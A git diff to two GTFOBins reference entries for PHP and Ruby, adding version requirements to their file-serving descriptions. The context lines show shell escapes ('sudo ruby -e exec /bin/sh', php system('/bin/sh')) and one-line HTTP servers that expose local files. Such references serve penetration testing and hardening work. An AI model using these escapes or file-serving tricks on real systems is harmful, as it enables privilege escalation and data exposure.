diff --git a/_gtfobins/php.md b/_gtfobins/php.md
index 6dc7765..944ba2a 100644
--- a/_gtfobins/php.md
+++ b/_gtfobins/php.md
@@ -29,7 +29,7 @@ functions:
         CMD="/bin/sh"
         ./php -r "system('$CMD');"
   upload:
-    - description: Serve files in the local folder running an HTTP server.
+    - description: Serve files in the local folder running an HTTP server. This requires PHP version 5.4 or later.
       code: |
         LHOST=0.0.0.0
         LPORT=8888
diff --git a/_gtfobins/ruby.md b/_gtfobins/ruby.md
index 0935dc3..2f6aa89 100644
--- a/_gtfobins/ruby.md
+++ b/_gtfobins/ruby.md
@@ -5,7 +5,7 @@ functions:
   sudo-enabled:
     - code: sudo ruby -e 'exec "/bin/sh"'
   upload:
-    - description: Serve files in the local folder running an HTTP server.
+    - description: Serve files in the local folder running an HTTP server. This requires version 1.9.2 or later.
       code: |
         export LPORT=8888
         ruby -run -e httpd . -p $LPORT